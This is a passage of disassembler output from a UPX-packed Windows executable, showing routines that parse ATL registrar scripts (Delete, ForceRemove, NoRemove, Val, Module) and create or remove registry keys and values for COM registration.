		pop	ecx
		mov	[ebp-5Ch], eax
		mul	ecx
		test	edx, edx
		ja	short loc_40814D
		cmp	eax, 0FFFFFFFFh
		jbe	short loc_408151


loc_40814D:				; CODE XREF: sub_4080FF+47j
		xor	eax, eax
		jmp	short loc_408158
; ---------------------------------------------------------------------------


loc_408151:				; CODE XREF: sub_4080FF+4Cj
		push	eax
		call	dword_41D3BC


loc_408158:				; CODE XREF: sub_4080FF+50j
		xor	ecx, ecx
		mov	[ebp-58h], eax
		cmp	eax, ecx
		jz	short loc_408166
		xor	edx, edx
		mov	[eax], dx


loc_408166:				; CODE XREF: sub_4080FF+60j
		mov	[ebp-4], ecx
		cmp	eax, ecx
		jnz	short loc_40817E
		push	ecx
		call	dword_41D39C
		mov	eax, 8007000Eh
		jmp	loc_408291
; ---------------------------------------------------------------------------


loc_40817E:				; CODE XREF: sub_4080FF+6Cj
		mov	[ebx], esi
		mov	[ebp-54h], ecx
		cmp	[esi], cx
		jz	short loc_4081C6


loc_408188:				; CODE XREF: sub_4080FF+C2j
		mov	eax, [ebx]
		cmp	word ptr [eax],	25h
		push	eax
		jnz	short loc_4081A0
		call	dword_41D31C	; CharNextW
		mov	[ebx], eax
		cmp	word ptr [eax],	25h
		jnz	short loc_4081E0
		push	eax


loc_4081A0:				; CODE XREF: sub_4080FF+90j
		xor	edi, edi
		inc	edi
		lea	esi, [ebp-60h]
		call	sub_40775B
		test	eax, eax
		jz	loc_408280


loc_4081B3:				; CODE XREF: sub_4080FF+150j
					; sub_4080FF+164j
		push	dword ptr [ebx]
		call	dword_41D31C	; CharNextW
		mov	[ebx], eax
		cmp	word ptr [eax],	0
		jnz	short loc_408188
		mov	edi, [ebp-64h]


loc_4081C6:				; CODE XREF: sub_4080FF+87j
		mov	eax, [ebp-58h]
		and	dword ptr [ebp-58h], 0
		mov	[edi], eax


loc_4081CF:				; CODE XREF: sub_4080FF+170j
					; sub_4080FF+17Cj ...
		push	dword ptr [ebp-58h]
		call	dword_41D39C
		mov	eax, [ebp-54h]
		jmp	loc_408291
; ---------------------------------------------------------------------------


loc_4081E0:				; CODE XREF: sub_4080FF+9Ej
		push	25h
		call	sub_407B63
		pop	ecx
		mov	[ebp-68h], eax
		test	eax, eax
		jz	short loc_408268
		mov	ecx, [ebx]
		sub	eax, ecx
		sar	eax, 1
		cmp	eax, 1Fh
		jg	short loc_408274
		push	eax
		push	ecx
		lea	eax, [ebp-50h]
		push	20h
		push	eax
		call	sub_40B4EA
		push	eax
		call	sub_4010F0
; ---------------------------------------------------------------------------
		add	esp, 14h
		lea	eax, [ebp-50h]
		push	eax
		mov	eax, [ebx+4]
		call	sub_407A74
		mov	esi, eax
		test	esi, esi
		jz	short loc_408268
		call	off_42A000
		and	dword ptr [ebp-6Ch], 0
		push	esi
		mov	byte ptr [ebp-4], 1
		call	dword_41D1F0	; lstrlenW
		push	esi
		mov	edi, eax
		lea	esi, [ebp-60h]
		call	sub_40775B
		mov	byte ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_408280
		mov	esi, [ebp-68h]
		cmp	[ebx], esi
		jz	loc_4081B3


loc_408255:				; CODE XREF: sub_4080FF+162j
		push	dword ptr [ebx]
		call	dword_41D31C	; CharNextW
		mov	[ebx], eax
		cmp	eax, esi
		jnz	short loc_408255
		jmp	loc_4081B3
; ---------------------------------------------------------------------------


loc_408268:				; CODE XREF: sub_4080FF+EEj
					; sub_4080FF+121j
		mov	dword ptr [ebp-54h], 80020009h
		jmp	loc_4081CF
; ---------------------------------------------------------------------------


loc_408274:				; CODE XREF: sub_4080FF+F9j
		mov	dword ptr [ebp-54h], 80004005h
		jmp	loc_4081CF
; ---------------------------------------------------------------------------


loc_408280:				; CODE XREF: sub_4080FF+AEj
					; sub_4080FF+149j
		mov	dword ptr [ebp-54h], 8007000Eh
		jmp	loc_4081CF
; ---------------------------------------------------------------------------


loc_40828C:				; CODE XREF: sub_4080FF+15j
					; sub_4080FF+1Dj
		mov	eax, 80004003h


loc_408291:				; CODE XREF: sub_4080FF+7Aj
					; sub_4080FF+DCj
		call	sub_40C520
		retn
sub_4080FF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1F8Ch


sub_408297	proc near		; CODE XREF: sub_4078AB+15Ap

var_200C	= dword	ptr -200Ch
var_2008	= dword	ptr -2008h
var_2004	= word ptr -2004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-1F8Ch]
		mov	eax, 200Ch
		call	sub_40E000
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+1F8Ch+var_4], eax
		and	[ebp+1F8Ch+var_200C], 0
		push	ebx
		push	esi
		mov	esi, edx
		lea	edx, [ebp+1F8Ch+var_200C]
		mov	ebx, esi
		call	sub_4080FF
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_40838A
		mov	eax, [ebp+1F8Ch+var_200C]
		xor	ecx, ecx
		mov	[esi], eax
		cmp	cx, [eax]
		jz	loc_40837F
		push	edi


loc_4082E3:				; CODE XREF: sub_408297+138j
		lea	eax, [ebp+1F8Ch+var_2004]
		mov	ecx, esi
		call	sub_407BAF
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_40837E
		xor	edi, edi


loc_4082F9:				; CODE XREF: sub_408297+7Fj
		push	off_424510[edi*8]
		lea	eax, [ebp+1F8Ch+var_2004]
		push	eax
		call	dword_41D0A0	; lstrcmpiW
		test	eax, eax
		jz	loc_4083A3
		inc	edi
		cmp	edi, 0Eh
		jb	short loc_4082F9
		and	[ebp+1F8Ch+var_2008], 0


loc_40831C:				; CODE XREF: sub_408297+116j
		xor	edi, edi
		cmp	[ebp+1F8Ch+var_2008], edi
		jz	loc_4083D7
		lea	eax, [ebp+1F8Ch+var_2004]
		mov	ecx, esi
		call	sub_407BAF
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_40837E
		push	7Bh
		pop	eax
		cmp	ax, [ebp+1F8Ch+var_2004]
		jnz	loc_4083D7
		lea	eax, [ebp+1F8Ch+var_2004]
		mov	ecx, esi
		cmp	[ebp+1F8Ch+arg_0], edi
		jz	short loc_4083B2
		mov	edi, [esi]
		push	0
		push	[ebp+1F8Ch+arg_0]
		push	[ebp+1F8Ch+var_2008]
		push	eax
		call	sub_4083DE
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_4083C3
		push	0
		push	0
		push	[ebp+1F8Ch+var_2008]
		lea	eax, [ebp+1F8Ch+var_2004]
		push	eax
		mov	ecx, esi
		mov	[esi], edi
		call	sub_4083DE


loc_40837E:				; CODE XREF: sub_408297+5Aj
					; sub_408297+9Ej ...
		pop	edi


loc_40837F:				; CODE XREF: sub_408297+45j
		push	[ebp+1F8Ch+var_200C]
		call	dword_41D39C
		mov	eax, ebx


loc_40838A:				; CODE XREF: sub_408297+35j
		mov	ecx, [ebp+1F8Ch+var_4]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		add	ebp, 1F8Ch
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4083A3:				; CODE XREF: sub_408297+75j
		mov	eax, dword_424514[edi*8]
		mov	[ebp+1F8Ch+var_2008], eax
		jmp	loc_40831C
; ---------------------------------------------------------------------------


loc_4083B2:				; CODE XREF: sub_408297+B8j
		push	edi
		push	edi
		push	[ebp+1F8Ch+var_2008]
		push	eax
		call	sub_4083DE
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_40837E


loc_4083C3:				; CODE XREF: sub_408297+D1j
		call	sub_407B8A
		mov	eax, [esi]
		xor	ecx, ecx
		cmp	cx, [eax]
		jnz	loc_4082E3
		jmp	short loc_40837E
; ---------------------------------------------------------------------------


loc_4083D7:				; CODE XREF: sub_408297+8Aj
					; sub_408297+A7j
		mov	ebx, 80020009h
		jmp	short loc_40837E
sub_408297	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083DE	proc near		; CODE XREF: sub_408297+C8p
					; sub_408297+E2p ...

var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= byte ptr -42Ch
var_428		= byte ptr -428h
var_220		= byte ptr -220h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 004089C4 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset loc_41C383
		mov	eax, large fs:0
		push	eax
		sub	esp, 438h
		mov	eax, dword_42A034
		xor	eax, esp
		mov	[esp+444h+var_14], eax
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_42A034
		xor	eax, esp
		push	eax
		lea	eax, [esp+454h+var_C]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		and	[esp+454h+var_444], 0
		mov	[esp+454h+var_43C], ecx
		mov	[esp+454h+var_438], eax
		mov	eax, [ebp+arg_C]
		and	[esp+454h+var_4], 0
		mov	[esp+454h+var_430], eax
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	loc_4088A3
		cmp	word ptr [edi],	7Dh
		jz	loc_4088A1


loc_40845B:				; CODE XREF: sub_4083DE+16Fj
		mov	esi, dword_41D0A0
		push	offset aDelete	; "Delete"
		push	edi
		mov	[esp+45Ch+var_434], 1
		call	esi ; dword_41D0A0
		mov	ebx, eax
		neg	ebx
		push	offset aForceremove ; "ForceRemove"
		sbb	ebx, ebx
		push	edi
		inc	ebx
		call	esi ; dword_41D0A0
		test	eax, eax
		jz	short loc_40848C
		test	ebx, ebx
		jz	loc_408558


loc_40848C:				; CODE XREF: sub_4083DE+A4j
		mov	ecx, [esp+454h+var_43C]
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	loc_408890
		cmp	[ebp+arg_8], 0
		jz	loc_408558
		push	5Ch
		mov	eax, edi
		call	sub_407B63
		pop	ecx
		test	eax, eax
		jnz	loc_408966
		push	edi
		call	sub_408039
		test	eax, eax
		jz	short loc_4084D9
		mov	eax, [esp+454h+var_438]
		push	edi
		lea	ecx, [esp+458h+var_440]
		mov	[esp+458h+var_440], eax
		call	sub_40747A


loc_4084D9:				; CODE XREF: sub_4083DE+E7j
		test	ebx, ebx
		jz	short loc_408558
		mov	ecx, [esp+454h+var_43C]
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	loc_408890
		mov	ecx, [esp+454h+var_43C]
		call	sub_40809A


loc_4084FB:				; CODE XREF: sub_4083DE+3ADj
		mov	esi, eax
		test	esi, esi
		jl	loc_408890


loc_408505:				; CODE XREF: sub_4083DE+22Ej
					; sub_4083DE+397j
		cmp	word ptr [edi],	7Bh
		jnz	short loc_408549
		push	edi
		call	dword_41D1F0	; lstrlenW
		cmp	eax, 1
		jnz	short loc_408549
		mov	ecx, [esp+454h+var_43C]
		push	0
		push	[ebp+arg_8]
		push	[esp+45Ch+var_444]
		push	edi
		call	sub_4083DE
		mov	esi, eax
		test	esi, esi
		jl	loc_408890
		mov	ecx, [esp+454h+var_43C]
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi


loc_408543:				; CODE XREF: sub_4083DE+29Aj
		jl	loc_408890


loc_408549:				; CODE XREF: sub_4083DE+12Bj
					; sub_4083DE+137j ...
		cmp	word ptr [edi],	7Dh
		jnz	loc_40845B
		jmp	loc_408890
; ---------------------------------------------------------------------------


loc_408558:				; CODE XREF: sub_4083DE+A8j
					; sub_4083DE+C7j ...
		push	offset aNoremove ; "NoRemove"
		push	edi
		call	dword_41D0A0	; lstrcmpiW
		test	eax, eax
		jnz	short loc_408581
		and	[esp+454h+var_434], eax
		mov	ecx, [esp+454h+var_43C]
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	loc_408890


loc_408581:				; CODE XREF: sub_4083DE+188j
		push	offset aVal	; "Val"
		push	edi
		xor	ebx, ebx
		call	dword_41D0A0	; lstrcmpiW
		test	eax, eax
		jnz	loc_40867D
		mov	ecx, [esp+454h+var_43C]
		lea	eax, [esp+454h+var_220]
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	loc_408890
		mov	ecx, [esp+454h+var_43C]
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	loc_408890
		cmp	word ptr [edi],	3Dh
		jnz	loc_408966
		cmp	[ebp+arg_8], ebx
		jz	short loc_408611
		mov	eax, [esp+454h+var_438]
		mov	ecx, [esp+454h+var_43C]
		mov	byte ptr [esp+454h+var_4], 1
		mov	[esp+454h+var_440], eax
		push	edi
		lea	eax, [esp+458h+var_220]
		push	eax
		lea	edx, [esp+45Ch+var_440]
		call	sub_407CD3
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_408981
		mov	byte ptr [esp+454h+var_4], bl
		jmp	loc_408505
; ---------------------------------------------------------------------------


loc_408611:				; CODE XREF: sub_4083DE+1F5j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40866B
		cmp	[esp+454h+var_434], ebx
		jz	short loc_40866B
		lea	eax, [esp+454h+var_440]
		push	eax
		push	20006h
		push	ebx
		push	ebx
		push	[esp+464h+var_438]
		mov	[esp+468h+var_440], ebx
		call	dword_41D010	; RegOpenKeyExW
		cmp	eax, ebx
		jnz	loc_408889
		mov	ebx, [esp+454h+var_440]
		lea	eax, [esp+454h+var_220]
		push	eax
		push	ebx
		call	dword_41D00C	; RegDeleteValueW
		test	eax, eax
		jz	short loc_40865E
		cmp	eax, 2
		jnz	loc_40898A


loc_40865E:				; CODE XREF: sub_4083DE+275j
		test	ebx, ebx
		jz	short loc_408669
		push	ebx
		call	dword_41D000	; RegCloseKey


loc_408669:				; CODE XREF: sub_4083DE+282j
		xor	ebx, ebx


loc_40866B:				; CODE XREF: sub_4083DE+236j
					; sub_4083DE+23Cj
		mov	ecx, [esp+454h+var_43C]
		call	sub_40809A
		mov	esi, eax
		cmp	esi, ebx
		jmp	loc_408543
; ---------------------------------------------------------------------------


loc_40867D:				; CODE XREF: sub_4083DE+1B3j
		push	5Ch
		mov	eax, edi
		call	sub_407B63
		pop	ecx
		test	eax, eax
		jnz	loc_4089A5
		cmp	[ebp+arg_8], ebx
		jz	loc_408790
		mov	esi, dword_41D010
		lea	eax, [esp+454h+var_440]
		push	eax
		push	2001Fh
		push	ebx
		push	edi
		push	[esp+464h+var_438]
		mov	[esp+468h+var_440], ebx
		call	esi ; dword_41D010
		cmp	eax, ebx
		jnz	short loc_4086DC
		xor	eax, eax
		cmp	[esp+454h+var_444], ebx
		jz	short loc_4086CA
		push	[esp+454h+var_444]
		call	dword_41D000	; RegCloseKey


loc_4086CA:				; CODE XREF: sub_4083DE+2E0j
		mov	ebx, [esp+454h+var_440]
		mov	[esp+454h+var_444], ebx
		test	eax, eax
		jz	loc_40875C
		jmp	short loc_4086E0
; ---------------------------------------------------------------------------


loc_4086DC:				; CODE XREF: sub_4083DE+2D8j
		mov	ebx, [esp+454h+var_444]


loc_4086E0:				; CODE XREF: sub_4083DE+2FCj
		and	[esp+454h+var_440], 0
		lea	eax, [esp+454h+var_440]
		push	eax
		push	20019h
		push	0
		push	edi
		push	[esp+464h+var_438]
		call	esi ; dword_41D010
		xor	esi, esi
		test	eax, eax
		jnz	short loc_408715
		cmp	ebx, esi
		jz	short loc_408709
		push	ebx
		call	dword_41D000	; RegCloseKey


loc_408709:				; CODE XREF: sub_4083DE+322j
		mov	ebx, [esp+454h+var_440]
		mov	[esp+454h+var_444], ebx
		cmp	eax, esi
		jz	short loc_40875C


loc_408715:				; CODE XREF: sub_4083DE+31Ej
		lea	eax, [esp+454h+var_42C]
		push	eax
		lea	eax, [esp+458h+var_440]
		push	eax
		push	esi
		push	2001Fh
		push	esi
		push	esi
		push	esi
		push	edi
		push	[esp+474h+var_438]
		mov	[esp+478h+var_440], esi
		call	dword_41D020	; RegCreateKeyExW
		cmp	eax, esi
		jnz	loc_4089AB
		xor	eax, eax
		cmp	ebx, esi
		jz	short loc_40874C
		push	ebx
		call	dword_41D000	; RegCloseKey


loc_40874C:				; CODE XREF: sub_4083DE+365j
		mov	ebx, [esp+454h+var_440]
		mov	[esp+454h+var_444], ebx
		cmp	eax, esi
		jnz	loc_4089AB


loc_40875C:				; CODE XREF: sub_4083DE+2F6j
					; sub_4083DE+335j
		mov	ecx, [esp+454h+var_43C]
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	loc_408890
		cmp	word ptr [edi],	3Dh
		jnz	loc_408505
		mov	ecx, [esp+454h+var_43C]
		push	edi
		push	0
		lea	edx, [esp+45Ch+var_444]
		call	sub_407CD3
		jmp	loc_4084FB
; ---------------------------------------------------------------------------


loc_408790:				; CODE XREF: sub_4083DE+2B4j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4087D3
		lea	eax, [esp+454h+var_440]
		push	eax
		push	20019h
		push	ebx
		push	edi
		push	[esp+464h+var_438]
		mov	[esp+468h+var_440], ebx
		call	dword_41D010	; RegOpenKeyExW
		cmp	eax, ebx
		jnz	short loc_4087CD
		xor	eax, eax
		cmp	[esp+454h+var_444], ebx
		jz	short loc_4087C5
		push	[esp+454h+var_444]
		call	dword_41D000	; RegCloseKey


loc_4087C5:				; CODE XREF: sub_4083DE+3DBj
		mov	ecx, [esp+454h+var_440]
		mov	[esp+454h+var_444], ecx


loc_4087CD:				; CODE XREF: sub_4083DE+3D3j
		mov	[esp+454h+var_440], eax
		jmp	short loc_4087DB
; ---------------------------------------------------------------------------


loc_4087D3:				; CODE XREF: sub_4083DE+3B5j
		mov	[esp+454h+var_440], 2


loc_4087DB:				; CODE XREF: sub_4083DE+3F3j
		cmp	[esp+454h+var_440], ebx
		jz	short loc_4087E8
		mov	[ebp+arg_C], 1


loc_4087E8:				; CODE XREF: sub_4083DE+401j
		push	0FFFFFFFFh
		push	edi
		lea	eax, [esp+45Ch+var_428]
		push	104h
		push	eax
		call	sub_40B4EA
		push	eax
		call	sub_4010F0
; ---------------------------------------------------------------------------
		mov	ecx, [esp+468h+var_43C]
		add	esp, 14h
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	short loc_408890
		mov	ecx, [esp+454h+var_43C]
		call	sub_40809A
		mov	esi, eax
		test	esi, esi
		jl	short loc_408890
		cmp	word ptr [edi],	7Bh
		jnz	short loc_408865
		push	edi
		call	dword_41D1F0	; lstrlenW
		cmp	eax, 1
		jnz	short loc_408865
		push	[ebp+arg_C]
		mov	ecx, [esp+458h+var_43C]
		push	0
		push	[esp+45Ch+var_444]
		push	edi
		call	sub_4083DE
		mov	esi, eax
		test	esi, esi
		jge	short loc_408854
		cmp	[ebp+arg_C], 0
		jz	short loc_408890


loc_408854:				; CODE XREF: sub_4083DE+46Ej
		mov	ecx, [esp+454h+var_43C]
		mov	eax, edi
		call	sub_407BAF
		mov	esi, eax
		test	esi, esi
		jl	short loc_408890


loc_408865:				; CODE XREF: sub_4083DE+449j
					; sub_4083DE+455j
		mov	eax, [esp+454h+var_430]
		mov	[ebp+arg_C], eax
		mov	eax, [esp+454h+var_440]
		cmp	eax, 2
		jz	loc_408549
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_4088C9
		cmp	[esp+454h+var_430], ebx
		jnz	loc_408549


loc_408889:				; CODE XREF: sub_4083DE+25Aj
					; sub_4083DE+57Dj
		call	sub_4072B2
		mov	esi, eax


loc_408890:				; CODE XREF: sub_4083DE+BDj
					; sub_4083DE+10Ej ...
		cmp	[esp+454h+var_444], 0


loc_408895:				; CODE XREF: sub_4083DE+5A7j
		jz	short loc_4088A1
		push	[esp+454h+var_444]
		call	dword_41D000	; RegCloseKey


loc_4088A1:				; CODE XREF: sub_4083DE+77j
					; sub_4083DE:loc_408895j
		mov	eax, esi


loc_4088A3:				; CODE XREF: sub_4083DE+6Dj
					; sub_4083DE+59Ej ...
		mov	ecx, [esp+454h+var_C]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+444h+var_14]
		xor	ecx, esp
		call	sub_40AC1C
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4088C9:				; CODE XREF: sub_4083DE+49Fj
		cmp	[esp+454h+var_430], ebx
		jz	short loc_40890C
		push	[esp+454h+var_444]
		call	sub_408065
		test	eax, eax
		jz	short loc_40890C
		lea	eax, [esp+454h+var_428]
		push	eax
		call	sub_408039
		test	eax, eax
		jz	loc_408549
		cmp	[esp+454h+var_434], 0
		jz	loc_408549
		lea	eax, [esp+454h+var_428]
		push	eax
		lea	ecx, [esp+458h+var_444]
		call	sub_40747A
		jmp	loc_408549
; ---------------------------------------------------------------------------


loc_40890C:				; CODE XREF: sub_4083DE+4EFj
					; sub_4083DE+4FCj
		push	[esp+454h+var_444]
		call	sub_408065
		mov	[esp+454h+var_440], eax
		cmp	[esp+454h+var_444], ebx
		jz	short loc_408935
		push	[esp+454h+var_444]
		call	dword_41D000	; RegCloseKey
		mov	[esp+454h+var_444], ebx
		cmp	eax, ebx
		jnz	loc_4089C4


loc_408935:				; CODE XREF: sub_4083DE+53Fj
		cmp	[esp+454h+var_434], ebx
		jz	loc_408549
		cmp	[esp+454h+var_440], 0
		jnz	loc_408549
		lea	eax, [esp+454h+var_428]
		push	eax
		push	[esp+458h+var_438]
		call	dword_41D008	; RegDeleteKeyW
		test	eax, eax
		jnz	loc_408889
		jmp	loc_408549
; ---------------------------------------------------------------------------


loc_408966:				; CODE XREF: sub_4083DE+D9j
					; sub_4083DE+1ECj
		cmp	[esp+454h+var_444], 0


loc_40896B:				; CODE XREF: sub_4083DE+5CBj
		jz	short loc_408977
		push	[esp+454h+var_444]
		call	dword_41D000	; RegCloseKey


loc_408977:				; CODE XREF: sub_4083DE:loc_40896Bj
		mov	eax, 80020009h
		jmp	loc_4088A3
; ---------------------------------------------------------------------------


loc_408981:				; CODE XREF: sub_4083DE+221j
		cmp	[esp+454h+var_444], ebx
		jmp	loc_408895
; ---------------------------------------------------------------------------


loc_40898A:				; CODE XREF: sub_4083DE+27Aj
		call	sub_4072B2
		mov	esi, eax
		test	ebx, ebx
		jz	loc_408890
		push	ebx
		call	dword_41D000	; RegCloseKey
		jmp	loc_408890
; ---------------------------------------------------------------------------


loc_4089A5:				; CODE XREF: sub_4083DE+2ABj
		cmp	[esp+454h+var_444], ebx
		jmp	short loc_40896B
; ---------------------------------------------------------------------------


loc_4089AB:				; CODE XREF: sub_4083DE+35Bj
					; sub_4083DE+378j
		call	sub_4072B2
		mov	edi, eax
		cmp	ebx, esi
		jz	short loc_4089BD
		push	ebx
		call	dword_41D000	; RegCloseKey


loc_4089BD:				; CODE XREF: sub_4083DE+5D6j
		mov	eax, edi
		jmp	loc_4088A3
sub_4083DE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4083DE


loc_4089C4:				; CODE XREF: sub_4083DE+551j
		call	sub_4072B2
		jmp	loc_4088A3
; END OF FUNCTION CHUNK	FOR sub_4083DE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=9E8h


sub_4089CE	proc near		; CODE XREF: UPX0:004073DBp

var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= dword	ptr -0A5Ch
var_A58		= byte ptr -0A58h
var_A40		= byte ptr -0A40h
var_A3C		= dword	ptr -0A3Ch
var_A38		= dword	ptr -0A38h
var_A34		= byte ptr -0A34h
var_624		= word ptr -624h
var_622		= word ptr -622h
var_20C		= byte ptr -20Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-9E8h]
		sub	esp, 0A68h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+9E8h+var_4], eax
		mov	eax, [ebp+9E8h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	[ebp+9E8h+var_A3C], eax
		mov	eax, [ebp+9E8h+arg_4]
		mov	esi, ecx
		xor	ebx, ebx
		push	6
		mov	[ebp+9E8h+var_A38], eax
		pop	ecx
		xor	eax, eax
		mov	[ebp+9E8h+var_A68], offset off_424BDC
		mov	[ebp+9E8h+var_A64], ebx
		mov	[ebp+9E8h+var_A60], ebx
		mov	[ebp+9E8h+var_A5C], ebx
		lea	edi, [ebp+9E8h+var_A58]
		rep stosd
		lea	ecx, [ebp+9E8h+var_A58]
		mov	[ebp+9E8h+var_A40], bl
		call	sub_401154
		cmp	eax, ebx
		jl	short loc_408A35
		mov	[ebp+9E8h+var_A40], 1
		cmp	esi, ebx
		jz	short loc_408A71
		jmp	short loc_408A6B
; ---------------------------------------------------------------------------


loc_408A35:				; CODE XREF: sub_4089CE+5Bj
					; sub_4089CE+B1j ...
		mov	esi, eax


loc_408A37:				; CODE XREF: sub_4089CE+E7j
					; sub_4089CE+13Bj
		lea	ecx, [ebp+9E8h+var_A68]
		call	sub_4077EF
		mov	ecx, [ebp+9E8h+var_4]
		pop	edi
		mov	eax, esi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		add	ebp, 9E8h
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408A5B:				; CODE XREF: sub_4089CE+A1j
		push	dword ptr [esi+4]
		push	eax
		lea	eax, [ebp+9E8h+var_A68]
		push	eax
		call	sub_40783F
		add	esi, 8


loc_408A6B:				; CODE XREF: sub_4089CE+65j
		mov	eax, [esi]
		cmp	eax, ebx
		jnz	short loc_408A5B


loc_408A71:				; CODE XREF: sub_4089CE+63j
		mov	ecx, [ebp+9E8h+var_A3C]
		mov	eax, [ecx]
		lea	edx, [ebp+9E8h+var_A68]
		push	edx
		call	dword ptr [eax+14h]
		cmp	eax, ebx
		jl	short loc_408A35
		call	off_42A000
		mov	edi, dword_42E350
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+9E8h+var_20C]
		push	eax
		push	edi
		call	dword_41D1FC	; GetModuleFileNameW
		cmp	eax, ebx
		jnz	short loc_408AAC
		call	sub_40119F
		jmp	short loc_408A35
; ---------------------------------------------------------------------------


loc_408AAC:				; CODE XREF: sub_4089CE+D5j
		cmp	eax, esi
		jnz	short loc_408AB7
		mov	esi, 8007007Ah
		jmp	short loc_408A37
; ---------------------------------------------------------------------------


loc_408AB7:				; CODE XREF: sub_4089CE+E0j
		lea	edx, [ebp+9E8h+var_20C]
		mov	eax, 208h
		lea	ecx, [ebp+9E8h+var_A34]
		call	sub_40738B
		cmp	edi, ebx
		jz	short loc_408ADE
		push	ebx
		call	dword_41D078	; GetModuleHandleW
		cmp	edi, eax
		jz	short loc_408ADE
		lea	eax, [ebp+9E8h+var_A34]
		jmp	short loc_408B38
; ---------------------------------------------------------------------------


loc_408ADE:				; CODE XREF: sub_4089CE+FEj
					; sub_4089CE+109j
		push	22h
		pop	eax
		mov	[ebp+9E8h+var_624], ax
		lea	eax, [ebp+9E8h+var_A34]
		push	eax
		lea	eax, [ebp+9E8h+var_622]
		push	20Bh
		push	eax
		call	sub_4010AC
		add	esp, 0Ch
		test	al, al
		jnz	short loc_408B0E
		mov	esi, 80004005h
		jmp	loc_408A37
; ---------------------------------------------------------------------------


loc_408B0E:				; CODE XREF: sub_4089CE+134j
		lea	eax, [ebp+9E8h+var_624]
		push	eax
		call	dword_41D1F0	; lstrlenW
		add	eax, eax
		push	22h
		pop	ecx
		mov	[ebp+eax+9E8h+var_624],	cx
		xor	ecx, ecx
		mov	[ebp+eax+9E8h+var_622],	cx
		lea	eax, [ebp+9E8h+var_624]


loc_408B38:				; CODE XREF: sub_4089CE+10Ej
		push	eax
		push	offset aModule	; "Module"
		lea	eax, [ebp+9E8h+var_A68]
		push	eax
		call	sub_40783F
		cmp	eax, ebx
		jl	loc_408A35
		lea	eax, [ebp+9E8h+var_A34]
		push	eax
		push	offset aModule_raw ; "Module_Raw"
		lea	eax, [ebp+9E8h+var_A68]
		push	eax
		call	sub_40783F
		cmp	eax, ebx
		jl	loc_408A35
		call	off_42A000
		mov	edx, [ebp+9E8h+var_A38]
		cmp	[ebp+9E8h+arg_8], ebx
		jz	short loc_408B8C
		cmp	edx, ebx
		jz	short loc_408B82
		push	1
		jmp	short loc_408B91
; ---------------------------------------------------------------------------


loc_408B82:				; CODE XREF: sub_4089CE+1AEj
					; sub_4089CE+1C0j
		mov	eax, 80070057h
		jmp	loc_408A35
; ---------------------------------------------------------------------------


loc_408B8C:				; CODE XREF: sub_4089CE+1AAj
		cmp	edx, ebx
		jz	short loc_408B82
		push	ebx


loc_408B91:				; CODE XREF: sub_4089CE+1B2j
		push	offset off_4245A8
		lea	eax, [ebp+9E8h+var_A68]
		push	eax
		lea	ecx, [ebp+9E8h+var_20C]
		call	sub_4078AB
		jmp	loc_408A35
sub_4089CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=9E4h


sub_408BAA	proc near		; CODE XREF: UPX0:004073F3p

var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= dword	ptr -0A5Ch
var_A58		= dword	ptr -0A58h
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= dword	ptr -0A38h
var_A34		= byte ptr -0A34h
var_624		= word ptr -624h
